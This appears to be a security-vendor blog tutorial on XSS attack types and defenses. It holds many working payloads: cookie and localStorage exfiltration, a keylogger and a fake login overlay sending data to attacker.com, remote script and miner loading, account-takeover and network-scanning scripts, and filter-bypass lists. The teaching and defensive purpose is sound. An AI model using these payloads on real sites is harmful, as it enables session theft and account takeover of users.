Web Security
XSS
Cross-Site Scripting
Payloads
Reflected XSS
+7 more

XSS Attack Types & Payloads Explained: Reflected, Stored, DOM, Blind & Self-XSS (2026)

SecureCodeReviews Team
March 25, 2026
22 min read
Share

Cross-Site Scripting (XSS) — The Vulnerability That Won't Die

Cross-Site Scripting has been in the OWASP Top 10 since its inception and remains one of the most exploited web vulnerabilities in 2026. Despite modern frameworks offering built-in protections, XSS accounted for 53% of all web application vulnerabilities reported on bug bounty platforms in 2025.

This article breaks down every XSS attack type, shows you real payloads used in penetration tests and bug bounties, explains how each type works at a technical level, and provides specific defenses for each variant.

OWASP Classification: A03:2021 — Injection | CWE-79: Improper Neutralization of Input During Web Page Generation


Table of Contents

  1. How XSS Works — The Fundamentals
  2. Type 1: Reflected XSS (Non-Persistent)
  3. Type 2: Stored XSS (Persistent)
  4. Type 3: DOM-Based XSS
  5. Type 4: Blind XSS
  6. Type 5: Mutation XSS (mXSS)
  7. Type 6: Self-XSS
  8. Advanced Bypass Payloads
  9. XSS Impact — What Attackers Can Do
  10. Defense Matrix — Prevention by Type
  11. Testing Methodology

1. How XSS Works — The Fundamentals

XSS occurs when an application includes untrusted data in its HTML output without proper encoding or validation. The browser cannot distinguish between the application's legitimate JavaScript and code injected by an attacker.

The Attack Flow

1. Attacker crafts a malicious input containing JavaScript
2. Application includes the input in its HTML response
3. Victim's browser parses the HTML and executes the injected script
4. Script runs in the context of the vulnerable origin (same-origin policy)
5. Attacker steals cookies, tokens, keystrokes, or performs actions as the victim

Why It Matters

ImpactDescription
Session HijackingSteal session cookies and impersonate users
Credential TheftInject fake login forms or capture keystrokes
Account TakeoverChange email, password, or recovery settings
Malware DistributionRedirect users to malicious downloads
DefacementAlter page content to damage brand reputation
Worm PropagationSelf-replicating XSS (Samy worm infected 1M MySpace profiles)

2. Reflected XSS (Non-Persistent)

Reflected XSS is the most common type. The malicious payload is part of the request (URL parameter, form field, HTTP header) and is immediately reflected back in the response without being stored.

How It Works

Victim clicks:
https://shop.example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

Server responds:
<h2>Search results for: <script>document.location='https://attacker.com/steal?c='+document.cookie</script></h2>

Browser executes the script → cookie sent to attacker

Real Payloads — Reflected XSS

Basic Injection (Testing)

<script>alert(document.domain)</script>

Image Tag Event Handler

<img src=x onerror=alert(document.domain)>

SVG Onload

<svg onload=alert(document.domain)>

Injecting into HTML Attributes

When input lands inside an attribute value:

<!-- Vulnerable code -->
<input type="text" value="USER_INPUT">

<!-- Payload: break out of attribute -->
" onfocus=alert(document.domain) autofocus="

<!-- Result -->
<input type="text" value="" onfocus=alert(document.domain) autofocus="">

Injecting into JavaScript Strings

When input lands inside a JS string:

// Vulnerable code
var search = 'USER_INPUT';

// Payload: break out of string
';alert(document.domain);//

// Result
var search = '';alert(document.domain);//';

URL Parameter Injection

<!-- Vulnerable code -->
<a href="https://example.com/page?redirect=USER_INPUT">Click</a>

<!-- Payload -->
javascript:alert(document.domain)

<!-- Result -->
<a href="javascript:alert(document.domain)">Click</a>

Real-World Example

In 2023, a reflected XSS in Google Search allowed researchers to execute scripts via crafted search queries. The vulnerability existed in a parameter that was reflected into a JavaScript context without encoding.

Defense

  • Output encoding — HTML-encode all reflected user input
  • Content Security Policy — Block inline script execution
  • Input validation — Reject or sanitize unexpected characters

3. Stored XSS (Persistent)

Stored XSS is the most dangerous type. The payload is saved on the server (database, file, log) and served to every user who views the affected page. No victim interaction with a malicious link is required.

How It Works

1. Attacker posts a comment containing malicious JavaScript
2. Application stores the comment in the database without sanitization
3. Every user who views the comments page has the script execute in their browser
4. Script steals each user's session token silently

Attack Vectors

VectorExample
Blog commentsForum posts, article comments
User profilesDisplay name, bio, avatar URL
MessagesChat messages, support tickets
File uploadsSVG files with embedded scripts, HTML files
Product reviewsE-commerce review fields
Admin panelsLog viewers that render stored user input

Real Payloads — Stored XSS

Cookie Stealer

<script>
new Image().src='https://attacker.com/collect?cookie='+encodeURIComponent(document.cookie);
</script>

Session Token Exfiltration via Fetch

<script>
fetch('https://attacker.com/log', {
  method: 'POST',
  body: JSON.stringify({
    cookies: document.cookie,
    url: location.href,
    localStorage: JSON.stringify(localStorage)
  })
});
</script>

Keylogger Injection

<script>
document.addEventListener('keypress', function(e) {
  new Image().src='https://attacker.com/keys?k='+e.key+'&url='+encodeURIComponent(location.href);
});
</script>

Fake Login Form Overlay (Phishing)

<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999;display:flex;align-items:center;justify-content:center">
<form action="https://attacker.com/phish" method="POST" style="width:300px">
<h2>Session Expired</h2>
<p>Please re-enter your credentials:</p>
<input name="email" placeholder="Email" style="width:100%;padding:8px;margin:4px 0"><br>
<input name="password" type="password" placeholder="Password" style="width:100%;padding:8px;margin:4px 0"><br>
<button type="submit" style="width:100%;padding:10px;background:#007bff;color:#fff;border:none;cursor:pointer">Login</button>
</form></div>

SVG File Upload XSS

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
  <text x="10" y="20">Malicious SVG</text>
</svg>

Real-World Examples

  • British Airways (2018): Stored XSS in the payment page via a compromised third-party script — 380,000 credit cards stolen over 15 days
  • Samy Worm (2005): Self-replicating stored XSS on MySpace — 1 million friend requests in 20 hours

Defense

  • Sanitize on input AND encode on output — Never trust stored data
  • Use allowlists — Only permit expected HTML tags/attributes if rich text is needed
  • Content Security Policy — Prevent exfiltration to external domains
  • HttpOnly cookies — Prevent JavaScript access to session tokens
  • Subresource Integrity (SRI) — Detect tampered third-party scripts

4. DOM-Based XSS

DOM-based XSS is unique because the server never sees the payload. The vulnerability exists entirely in client-side JavaScript that processes user input unsafely.

How It Works

1. Vulnerable JavaScript reads from a source (URL hash, location, referrer)
2. The value is passed to a dangerous sink (innerHTML, eval, document.write)
3. The browser executes the attacker's code — server logs show nothing

Sources and Sinks

Dangerous Sources (where attacker-controlled data enters):

location.hash          // #payload
location.search        // ?param=payload
location.href          // Full URL
document.referrer      // Referring page URL
document.cookie        // Cookie values
window.name            // Cross-origin data channel
postMessage data       // Cross-frame messages
localStorage/sessionStorage  // Stored values

Dangerous Sinks (where data gets executed):

element.innerHTML = ...       // Parses HTML
element.outerHTML = ...       // Parses HTML
document.write(...)           // Writes to document
document.writeln(...)         // Writes to document
eval(...)                     // Executes JavaScript
setTimeout(string, ...)       // Executes JavaScript
setInterval(string, ...)      // Executes JavaScript
new Function(string)          // Executes JavaScript
element.setAttribute(...)     // Can set event handlers
jQuery.html(...)              // jQuery innerHTML equivalent
jQuery.append(...)            // jQuery DOM insertion

Real Payloads — DOM-Based XSS

Hash Fragment Injection

// Vulnerable code
var content = location.hash.substring(1);
document.getElementById('content').innerHTML = content;

// Attack URL
https://example.com/page#<img src=x onerror=alert(document.domain)>

// The hash fragment never reaches the server — invisible to WAFs

postMessage Exploitation

// Vulnerable receiver (on target site)
window.addEventListener('message', function(e) {
  // No origin check!
  document.getElementById('widget').innerHTML = e.data;
});

// Attacker page (on attacker.com)
<iframe src="https://vulnerable-site.com/page-with-listener" id="target"></iframe>
<script>
document.getElementById('target').contentWindow.postMessage(
  '<img src=x onerror=alert(document.domain)>', '*'
);
</script>

jQuery Sink Exploitation

// Vulnerable pattern (very common)
var tabName = location.hash.substring(1);
$('#tabs').html('<div class="tab">' + tabName + '</div>');

// Payload
https://app.example.com/dashboard#<img src=x onerror=alert(1)>

window.name Cross-Origin Data

// Attacker sets window.name before redirecting victim
window.name = '<img src=x onerror=alert(document.domain)>';
location.href = 'https://vulnerable-site.com/page';

// Vulnerable site reads window.name
document.getElementById('greeting').innerHTML = window.name;

Real-World Example

In 2024, a DOM XSS in a major SaaS platform's dashboard was found where location.hash was passed directly to jQuery's .html() method. Because the payload never hit the server, the company's WAF and server-side sanitization were completely bypassed.

Defense

  • Never use innerHTML with user-controlled data — use textContent instead
  • Validate postMessage origins — always check event.origin
  • Use DOMPurify — sanitize before any DOM insertion
  • Trusted Types API — browser-enforced sink protection
  • Avoid eval and string-based setTimeout/setInterval

5. Blind XSS

Blind XSS is a variant of stored XSS where the attacker never sees the payload execute. The payload fires in a different application — typically an internal admin panel, support dashboard, log viewer, or back-office tool.

How It Works

1. Attacker injects XSS payload into a user-facing input (support ticket, feedback form, user-agent header)
2. Payload is stored and later rendered in an internal admin tool
3. When an admin views the data, the payload executes in THEIR browser
4. Admin's session token, internal URLs, and sensitive data are exfiltrated

Why It's Dangerous

  • Targets high-privilege users — admins, support staff, developers
  • Bypasses front-end sanitization — input may be sanitized for user-facing views but not admin views
  • Harder to detect — attacker doesn't see the result; relies on callback
  • Access to internal systems — admin sessions often have access to all user data, configuration, and infrastructure

Real Payloads — Blind XSS

Callback Beacon (Basic)

<script>
new Image().src='https://attacker.com/blind?cookie='+encodeURIComponent(document.cookie)+'&url='+encodeURIComponent(location.href);
</script>

Full Page Screenshot + DOM Exfiltration

<script>
fetch('https://attacker.com/blind-xss', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    url: location.href,
    cookies: document.cookie,
    dom: document.documentElement.outerHTML,
    localStorage: JSON.stringify(localStorage)
  })
});
</script>

User-Agent Header Injection

GET /api/products HTTP/1.1
Host: shop.example.com
User-Agent: <script src=https://attacker.com/hook.js></script>

When the admin views access logs in a web-based log viewer, the script executes.

Contact Form / Support Ticket

Name: John Doe
Email: john@example.com
Subject: Order Issue
Message: My order #12345 hasn't arrived. <script src=https://attacker.com/probe.js></script>

Common Blind XSS Injection Points

Input FieldWhere It Renders
Contact/feedback formsAdmin CRM / support dashboard
User-Agent / Referer headersLog analysis tools
Error messages / stack tracesError monitoring dashboards (Sentry, etc.)
User registration fieldsAdmin user management panel
File upload namesFile manager / media library
Order notes / special instructionsOrder management system
API request bodiesAPI monitoring / debugging tools

Real-World Example

A bug bounty hunter injected XSS into the User-Agent header of requests to an e-commerce platform. The payload fired weeks later when a developer opened the HTTP logs in their internal Kibana dashboard — exfiltrating the developer's session and gaining access to internal infrastructure.

Defense

  • Sanitize data in ALL rendering contexts — including admin panels and log viewers
  • Escape data at the template level — not just the user-facing app
  • CSP on internal tools — internal admin panels need CSP headers too
  • HttpOnly cookies — especially on admin/internal sessions
  • Log viewers should render text, not HTML — use textContent, never innerHTML

6. Mutation XSS (mXSS)

Mutation XSS exploits browser HTML parsing quirks. The payload looks harmless when sanitized, but the browser mutates the DOM structure during parsing, creating an executable payload.

How It Works

1. Attacker crafts malformed HTML that passes sanitization
2. Sanitizer sees no dangerous elements and allows it through
3. Browser's HTML parser "fixes" the malformed HTML
4. The fixed/mutated HTML now contains executable JavaScript

Real Payloads — Mutation XSS

Backtick Mutation (Classic)

<!-- Input (passes many sanitizers) -->
<img src="x` `<script>alert(1)</script>"` `>

<!-- Browser mutates to -->
<img src="x">
<script>alert(1)</script>
"" >

Namespace Confusion

<!-- Input -->
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>

<!-- After parsing, the img tag escapes the style context due to namespace rules -->

SVG/foreignObject Mutation

<!-- Input -->
<svg><foreignObject><div><style><!--</style><img src=x onerror=alert(1)></div></foreignObject></svg>

Why It Bypasses Sanitizers

Sanitizers like DOMPurify process HTML as a string or via a parser. If the browser's parser interprets the same HTML differently than the sanitizer's parser, the sanitizer sees safe HTML while the browser creates dangerous HTML.

Defense

  • Keep DOMPurify updated — mXSS bypasses are patched regularly
  • Use Trusted Types — enforce sanitization at the browser level
  • Double parsing defense — serialize sanitized DOM back to string, re-parse, and sanitize again
  • CSP script-src nonces — even if mXSS fires, CSP blocks unsigned scripts

7. Self-XSS

Self-XSS tricks users into executing malicious code in their own browser console. It's a social engineering attack, not a traditional injection.

How It Works

1. Attacker posts on social media: "Paste this code in your browser console to unlock a hidden feature!"
2. Victim opens DevTools and pastes: javascript:fetch('https://attacker.com/steal?t='+document.cookie)
3. Victim's own cookies/data are exfiltrated

Real-World Scenarios

  • "Paste this code to see who unfriended you on Facebook"
  • "Copy this script to get free premium features"
  • "Debug code to fix your account issue" (fake support)

Defense

  • Browser console warnings — Facebook pioneered this with the "Stop!" warning
  • User education — Never paste code from untrusted sources
  • CSP — Limits damage even if code is executed
  • This is NOT typically in scope for bug bounties — classified as social engineering

8. Advanced Bypass Payloads

When WAFs, sanitizers, or filters are in place, attackers use bypass techniques. Here are common ones:

Filter Bypass — Case Manipulation

<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>

Filter Bypass — Tag Alternatives

<!-- When <script> is blocked -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>

Filter Bypass — Encoding

<!-- HTML entity encoding -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

<!-- URL encoding (in URL contexts) -->
%3Cscript%3Ealert(1)%3C/script%3E

<!-- Unicode encoding -->
<script>\u0061lert(1)</script>

<!-- Hex encoding -->
<script>\x61lert(1)</script>

<!-- Octal encoding (in JS strings) -->
<script>\141lert(1)</script>

Filter Bypass — Obfuscation

<!-- String concatenation -->
<script>al\u0065rt(1)</script>

<!-- Constructor approach -->
<script>[].constructor.constructor('alert(1)')()</script>

<!-- Template literals -->
<script>alert\`1\`</script>

<!-- Top-level -->
<script>top['al'+'ert'](1)</script>

<!-- setTimeout -->
<script>setTimeout('ale'+'rt(1)')</script>

Filter Bypass — Event Handlers Without Parentheses

<svg onload=alert&lpar;1&rpar;>
<img src=x onerror=alert\`1\`>
<img src=x onerror=throw&Hat;onerror=alert,1>

Filter Bypass — JavaScript Protocol

<!-- In href/src attributes -->
<a href="javascript:alert(1)">Click</a>
<a href="&#106;avascript:alert(1)">Click</a>
<a href="\x6Aavascript:alert(1)">Click</a>

<!-- With tab/newline injection -->
<a href="java&#x09;script:alert(1)">Click</a>
<a href="java&#x0A;script:alert(1)">Click</a>

Polyglot Payload (Tests Multiple Contexts)

javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(document.domain)//'>

This payload works in HTML context, attribute context, script context, and URL context simultaneously.


9. XSS Impact — What Attackers Can Do

Session Hijacking

// Steal session and send to attacker
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: document.cookie
});

Account Takeover via Password Change

// Change victim's password using their active session
fetch('/api/user/change-password', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': document.querySelector('meta[name=csrf-token]').content
  },
  body: JSON.stringify({ newPassword: 'attacker-controlled-password' })
});

Cryptocurrency Mining

// Inject crypto miner (affects every visitor)
var s = document.createElement('script');
s.src = 'https://attacker.com/coinhive.min.js';
document.body.appendChild(s);

Worm Propagation

// Self-replicating XSS — posts itself to all friends
fetch('/api/post', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    content: '<script src=https://attacker.com/worm.js></script>',
    visibility: 'public'
  })
});

Internal Network Scanning

// Scan internal network from victim's browser
for (var i = 1; i < 255; i++) {
  var img = new Image();
  img.src = 'http://192.168.1.' + i + ':8080/favicon.ico';
  img.onload = function() {
    fetch('https://attacker.com/found?ip=' + this.src);
  };
}

10. Defense Matrix — Prevention by XSS Type

DefenseReflectedStoredDOMBlindmXSS
Output Encoding
Input Validation⚠️⚠️
CSP (strict)
HttpOnly Cookies
DOMPurify⚠️⚠️
Trusted Types⚠️
textContent (not innerHTML)⚠️⚠️
WAF⚠️

✅ = Effective | ⚠️ = Partial | ❌ = Not applicable

Universal Defense Checklist

[ ] Output-encode all dynamic data in HTML, JS, URL, and CSS contexts
[ ] Implement strict Content Security Policy with nonces
[ ] Set HttpOnly and Secure flags on all session cookies
[ ] Use SameSite=Strict or SameSite=Lax on cookies
[ ] Use modern frameworks with auto-escaping (React, Angular, Vue)
[ ] Sanitize with DOMPurify when rendering user-supplied HTML
[ ] Validate and restrict all URL schemes (block javascript:)
[ ] Deploy Trusted Types for DOM sink protection
[ ] Enable X-Content-Type-Options: nosniff
[ ] Apply CSP to internal tools and admin panels (not just public pages)
[ ] Review all postMessage handlers for missing origin checks
[ ] Sanitize data in log viewers, admin dashboards, and CRM tools

11. Testing Methodology

Step 1: Identify Input Points

Map every place the application accepts user input — URL parameters, form fields, HTTP headers, file uploads, API bodies, WebSocket messages.

Step 2: Trace Data Flow

Follow each input to see where it's rendered. Is it reflected immediately? Stored in a database? Passed to client-side JavaScript?

Step 3: Determine Context

Where does the input land in the HTML?

ContextExampleEscape Method
HTML body<div>USER_INPUT</div>HTML entity encode
HTML attribute<input value="USER_INPUT">Attribute encode + quote
JavaScript stringvar x = 'USER_INPUT';JavaScript encode
URL parameter<a href="/page?q=USER_INPUT">URL encode
CSS value<div style="color:USER_INPUT">CSS encode

Step 4: Test Payloads by Context

HTML Context:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Attribute Context:

" onmouseover=alert(1) x="
' onfocus=alert(1) autofocus='

JavaScript Context:

';alert(1);//
\';alert(1);//
</script><script>alert(1)</script>

URL Context:

javascript:alert(1)
data:text/html,<script>alert(1)</script>

Step 5: Escalate

Once you confirm XSS, demonstrate real impact — cookie theft, account takeover, or data exfiltration. alert(1) proves the bug exists; impact demonstration justifies the severity rating.

ToolPurpose
Burp SuiteIntercept, modify, and replay requests
OWASP ZAPFree automated XSS scanner
XSStrikeIntelligent XSS payload generator
DalfoxParameter analysis and XSS scanning
Browser DevToolsInspect DOM, debug JavaScript, monitor network

Key Takeaways

  1. XSS is not one vulnerability — it's a family of 6+ distinct attack types, each requiring different defenses
  2. DOM XSS bypasses server-side defenses — WAFs and server sanitization cannot see hash fragments or client-side manipulation
  3. Blind XSS targets your most privileged users — admin panels and internal tools need the same security as public pages
  4. Mutation XSS bypasses sanitizers — keep DOMPurify updated and use Trusted Types as a second layer
  5. Context matters — the same input needs different encoding depending on where it appears (HTML, JS, URL, CSS)
  6. CSP is your strongest safety net — a strict Content Security Policy with nonces catches what other defenses miss
  7. Impact > alert(1) — demonstrating real exploitation (session theft, account takeover) is what gets vulnerabilities fixed

Need Help Securing Your Application?

Our penetration testing team tests for all XSS variants — including blind XSS targeting your internal tools and mutation XSS bypassing your sanitizers. Every engagement includes verified payloads, impact assessment, and remediation code.

Request a Free Consultation → | View Our Secure Code Review Service →

Advertisement